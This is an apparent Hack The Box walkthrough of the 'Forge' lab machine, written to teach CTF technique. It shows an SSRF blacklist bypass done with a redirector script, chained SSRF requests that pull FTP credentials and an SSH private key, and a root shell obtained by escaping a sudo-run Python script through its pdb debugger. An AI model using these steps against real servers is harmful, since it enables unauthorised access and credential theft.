[Hack The Box] Forge— Walkthrough
Summary
Forge is a simple box that does not involve any guesswork. It is an introduction to Server-Side Request Forgery (SSRF). The main website allowed access to the admin website via SSRF which led to sensitive information disclosure. The admin website allowed access to FTP which led to another sensitive information disclosure and an SSH access to the box.
To get root, I directed execution to the Python Debugger and worked my way to get a shell.
Foothold
Nmap
I started off Nmap, as usual, to discover available services in the machine.
nmap -sC -sV -vvv -oA nmap/forge-default 10.10.11.111
nmap -p- -oA nmap/forge-all 10.10.11.111
nmap -sU -vvv -oA nmap/forge-udp 10.10.11.111
Only two services are available — 22/tcp/ssh
and 80/tcp/http
. Nmap also showed 21/tcp/ftp
as filtered which was a telltale sign that FTP is running but the box won’t accept connections from external network.
forge.htb
Checking port 80/tcp/http
in my browser, I was redirected to http://forge.htb
right off the bat so I had to add that in my /etc/hosts
.
127.0.0.1 localhost10.10.11.111 forge.htb
The forge.htb website was a simple website that allowed users to upload an image via local file or from URL. When I uploaded an image, the website returned a URL with unique alphanumeric as a path parameter and when I clicked the URL, the website redirected me to the image I uploaded.
When I uploaded a file that is NOT an image, the website cannot display it.
However, in BurpSuite, I was able to see the content of the file I uploaded.
gobuster
I fired up gobuster to check for any hidden directories.
gobuster dir -u http://forge.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -o forge.htb.gobuster.txt
However, gobuster did not find any useful directories that can help me.
wfuzz
Then I fired up wfuzz to check for any possible subdomain of forge.htb.
wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt — hw 26 -H “Host: FUZZ.forge.htb” http://forge.htb
And found one — admin.forge.htb.
admin.forge.htb
I added admin.forge.htb to my /etc/hosts
.
127.0.0.1 localhost10.10.11.111 forge.htb
10.10.11.111 admin.forge.htb
The admin.forge.htb only allowed localhost to access it.
Server-Side Request Forgery
I figured if I can send an HTTP request to admin.forge.htb, that will be great and then I remembered that in forge.htb, I can type in a URL when I upload an image and I can get the result in BurpSuite. So I tried to type in http://admin.forge.htb in the URL in hopes to get the content of admin.forge.htb in BurpSuite but forge.htb said the URL contained a blacklist.
Apparently there was a [simple] blacklisting going on here. To circumvent this, I used the redirector.py
from HackTricks.
The redirector.py
redirects the HTTP traffic to any HTTP URL I desire. My IP address was not blacklisted so I ran redirector.py
in my local machine and have it redirected to http://admin.forge.htb.
python3 redirector.py 8000 http://admin.forge.htb
Then I typed in my IP address and port of redirector in the upload URL and checked BurpSuite.
I was able to see the HTML page of admin.forge.htb in BurpSuite.
Sensitive Information Disclosure
I took note of /announcements
and /upload
. To check what is in /announcements
, all I have to do is to change the URL parameter of the redirector.py
, upload an image by URL again in forge.htb and check the response in BurpSuite.
python3 redirector.py 8000 http://admin.forge.htb/announcements
There were a few things to note and they were already in a list — (a) FTP credentials with a username aptly named user
, (b) /upload
of admin.forge.htb supports ftp among others, and (c) /upload
of admin.forge.htb supports the GET parameter u
as in URL.
Server-Side Request Forgery — anotha one
The next logical step is to chain another SSRF — to FTP this time. Again, change the URL parameter of the redirector.py
, upload an image by URL again in forge.htb and check the response in BurpSuite.
python3 redirector.py 8000 'http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@10.10.11.111'
BurpSuite showed me this:
Okaaayyy, I saw user.txt
. I figured this directory is the home directory of user
due to the fact that user.txt
is there.
Sensitive Information Disclosure — anotha one
So if this is the home directory of user
, maybe I can search for credentials, such as SSH private keys — and I did.
python3 redirector.py 8000 'http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@10.10.11.111/.ssh/id_rsa'
And just as I’ve thought
User
SSH
It was just a matter of logging in via SSH.
Check for permissions
As I typed sudo -l
, I discovered I can run a Python script /opt/remote-manage.py
as root
without supplying a password.
The contents of /opt/remote-manage.py
:
This Python script opens a random port from 1025 to 65535 on localhost interface. To interact with it, I had to forward the port via SSH after running it. To do that while in SSH, type
[Enter]
~C # The prompt will change to ssh>
-L [RANDOM_GENERATED_PORT]:[REMOTE_HOST]:[REMOTE_PORT]
Luckily tmux
was available in the box so I was able to open multiple window panes in one SSH session.
Root
Examining the Python Script
The /opt/remote-manage.py
seemed like a straightforward Python script but I didn’t recognize any easy and usual exploitation such as (a) hijacking the system command execution because the script did not use any user input when executing system command and (b) hijacking binaries and/or Python libraries because I was not allowed to set my own environment variables such as PATH
and PYTHONPATH
.
I looked up a statement found inside the Exception clause — pdb.post_mortem(e.__traceback__)
— to see what it does and found out that pdb
is Python Debugger and the post_mortem
function allows the examination of the exception that took place. I had to trigger an exception to interact with the Python Debugger and I was able to do that in one of two ways: (a) enter one or more letter when I was asked “What do you wanna do:” — this will trigger a ValueError
because the script expects an integer number or (b) issue a SIGINT
by pressing CTRL+C
—this will trigger a KeyboardInterrupt
exception in Python.
To get to a Python interpreter from the Python Debugger, I issued the command
!import code; code.interact(local=vars())
From here on out, it was a piece of cake. All I had to do is to spawn a shell.
import os
os.system('/bin/bash')
And get root.txt
Conclusion
This box is a good introductory box for beginners without needing any guesswork when completing it. It teaches basic SSRF attacks and bypass & how to chain them to get more access. The Python script is a nice addition to the box because it presents a different way of exploiting Python scripts. Overall, I enjoyed completing Forge.